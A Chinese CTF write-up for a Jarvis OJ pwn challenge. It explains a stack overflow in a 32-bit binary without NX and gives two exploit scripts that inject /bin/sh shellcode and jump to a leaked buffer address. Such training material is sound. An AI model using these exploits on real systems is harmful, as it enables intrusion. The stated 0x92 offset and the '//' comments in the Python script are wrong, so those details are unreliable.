Pwn-level1
题目地址
32位的ELF
没有保护
用IDA打开看看,没有发现可以直接利用的函数,但是有一个vulnerable_function函数
没有NX的保护,可以输入一段shellcode在buf中,函数返回时跳转到buf位置,就可以执行shellcode
先看一下buf到ret的偏移
0x4到-0x88 一共偏移了0x92
现在还需要一个buf的地址
执行这个文件的时候,会跳出一个地址,这个就是buf的地址
exp
from pwn import * r = remote("pwn2.jarvisoj.com",9877) shellcode = asm(shellcraft.sh()) //通过pwntool的函数获取shellcode buffer=r.recvline()[14:-2] //截取字符串里面的地址 ff890e80 buf_addr = int(buffer,16) payload = 'a' * (0x88+0x4-len(shellcode))+shellcode + p32(buf_addr) r.sendline(payload) r.interactive()
执行结果
import socket import telnetlib import re import struct shellcode='jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80' #s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s=socket.socket(2,1) s.connect(("pwn2.jarvisoj.com",9877)) def p32(value): return struct.pack("<L", value) data=s.recv(1024) #print data[14:-2] #addr=re.findall(r'0x[\w]+',data) addr=int(data[14:-2],16) print addr payload = 'a'*(0x88+0x4-len(shellcode))+shellcode+p32(addr) s.sendall(payload+'\n') # interactive mode t=telnetlib.Telnet() t.sock = s t.interact() s.close()